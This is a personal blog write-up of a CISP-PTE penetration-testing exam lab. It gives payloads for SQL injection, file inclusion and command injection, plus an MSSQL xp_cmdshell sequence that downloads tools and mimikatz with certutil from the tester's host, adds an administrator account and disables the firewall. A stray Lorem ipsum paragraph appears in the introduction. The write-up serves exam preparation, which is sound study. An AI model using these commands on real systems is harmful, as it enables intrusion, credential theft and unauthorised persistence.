CISP-PTE考试分享

前些阵子有个活动送了我 CISP 的考试券，今天去考了 CISP-PTE 认证，趁自己印象还比较深写一下

CISP-PTE

介绍

What is CISP

CISP即“注册信息安全专业人员”，系国家对信息安全人员资质的最高认可。英文为Certified Information Security Professional (简称CISP)，CISP系经[中国信息安全产品测评认证中心](https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E6%B5%8B%E8%AF%84%E8%AE%A4%E8%AF%81%E4%B8%AD%E5%BF%83)（已改名[中国信息安全测评中心](https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%84%E4%B8%AD%E5%BF%83/1779442)）实施国家认证。CISP是强制培训的。如果想参加CISP考试，必须要求出具授权培训机构的培训合格证明。

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque hendrerit lacus ut purus iaculis feugiat. Sed nec tempor elit, quis aliquam neque. Curabitur sed diam eget dolor fermentum semper at eu lorem.

再来看一下区别：

​ CISP

考证要求：需要工作经验

100到题目，单选，好像是60%就过线。

CISSP

考证要求：需要工作经验

考试时间6个小时，满分1000分，700分过线

PTE

考证要求：不需要工作经验

学生也可以考试，专项能力通过即可拿证

考试题型为客观题、实操题。客观题为单项选择题，共 20 题，每 题 1 分;实操题共 80 分。总分共 100 分，得到 70 分以上(含 70 分)为通过。

体系结构

CISP-PTE 考试整体分为两个部分，一部分单项选择题，一部分实操题，考试时间4小时。

具体涉及知识可参考 CISP-攻防领域考试中心

单选题

比较基本的题目，一些概念题或者其他的题，例如 hacker 一词最早出自哪里等等

###实操题

实操题都是通过在一个虚拟环境进行操作，虚拟环境里面提供了基本需要的工具，字典也会给，题目给的密文基本就是字典里面的，所以不必担心什么解不出来啥的问题

第一题–sql注入

第一题一般是 sql 注入的题，比较简单，不需要手注，直接 sqlmap 跑也可以，不过我考试的时候就用手注，第一题万能密码，过滤了 or 以及注释符，用

username: admin' || '1
password: 1

即可登录拿到第一个 key

第二题—文件上传

第二题一般是文件上传的题型，直接用 00 截断就可以了，不过我做的时候貌似还检查了文件内容， eval 跟 assert 关键字都被过滤了，我直接用 system 直接读取的 key.php

第三题–文件包含

这题当时我彻底陷入了 php 本地包含的洞里去了，加上平时我都是 cp 的 payload （不要问我为什么这么懒，这样快也比较方便…）导致自己考试的时候比较晕也怀疑自己的 payload 是不是写错了

php://filter/read=convert.base64-encode/resource=key.php

但是一直做不出来…我也觉得不可能这么难吧

考完试我去问了一下出题的，他说是源代码里面有后门文件提示？？？

WTF？？？EXM？？？

坑还是感觉有点坑的，不过还是觉得自己不细心导致没做出来的吧…

问了同学， view.html 有后门提示，直接连上去就行了。。WTMD!

第四题–命令执行

很简单的命令注入的一道题，用 ; 或者其他命令分隔符绕过就行了，但是会屏蔽一些读取文件的命令，诸如 cat 、 more 等

最后忘了是通过用 tail 还是下面这个 payload 绕过了

127.0.0.1;curl file:///var/www/html/key.php

第五题–日志审计

我觉得很反人类的一道题，给你一个几MB的日志文件，然后让你肉眼审计发现后门…主要是那个虚拟环境不是很好，只有 Notepad++ ，我直接放了，看得眼睛都疼。

如果要做的话，直接跟 200 的 HTTP 状态码接着审计就差不多了…

第六题–综合渗透

一个 windows + IIS + mssql 的环境，御剑拿到 www.zip ，然后拿到数据库密码，直接用数据库连接 工具 连上去，发现 key7，找到管理员密码，然后跑 md5 找到明文，登录后台拿到 key6。后面看其他师傅的一般套路是用

EXEC sp_configure 'show advanced options',1; (记得reconfigure) 

reconfigure

EXEC sp_configure 'xp_cmdshell',1;（记得reconfigure）启用xp_cmdshell

reconfigure

exec xp_cmdshell 'dir c:\ /s /b |findstr "key"|findstr "txt"'; 找到key的位置

exec xp_cmdshell 'type key位置"'; 直接读key内容，不过一般不会让你有直接读的权限

exec xp_cmdshell 'cacls c:\ /s /b |findstr "key"|findstr "txt" /E /G adminstrator:F'; 改变文件操作权限，F是所有权限，改变权限后再读就能成功

exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/3389.exe'; 这里的certutil的方式与基础题4中的curl思路相同，可参考。这里上传的是开启3389的工具。

exec xp_cmdshell 'net user username password /add';exec xp_cmdshell 'net localgroup administrators username /add';创建账户

exec xp_cmdshell 'netsh firewall set opmode disable'; 如果目标开了防火墙，那么即使开启3389端口也无法连接，这条命令用于关闭防火墙。

exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/mimikazts.exe';如果不能建立账户，那么需要工具去破解系统账户的密码。这里使用的mimikazts。

exec master..xp_cmdshell 'dir "C:\Documents and Settings\Administrator\桌面\" /A -D /B'

exec xp_cmdshell 'type "C:\Documents and Settings\Administrator\桌面\key.txt"'

最后我通过 xp_cmdshell 执行命令没有发现 key8，问了一下人家说是要通过远程过去…做法是通过写一个一句话，上传一个类似 mimikatz 的工具，直接抓 Administrator 的密码，通过 reduh 进行 rdp 转发，再连远程，在桌面可以看到 key8

Conclusion

个人感觉这是最失败的一次…因为第三题感觉真的是…有点坑，也怪自己不太小心。第四题因为真的看得眼睛难受不想看了。最后一个 key 确实需要一点技巧，自己在内网渗透这方面经验着实少，后来也学习了一些姿势。但是这环境真的是卡得一批，另一个跟我一起考的师傅也是很想吐槽这一点，然后我们双方达成了共识——为什么要考4小时，明明一小时多就可以解决的问题都是因为给机器拖沓的…哎，虽然感觉过不去，但是感觉自己也尽力了吧。也有些情有可原的地方，8点半的考试，我7点起，早起傻一天（手动狗头。

虽然有点感觉暴躁，原本可以轻轻松松过了的，结果可能没过，但是还是学到了一些姿势吧。无论结果如何，还是安慰自己学到了东西就好，反正考试券免费的hhhh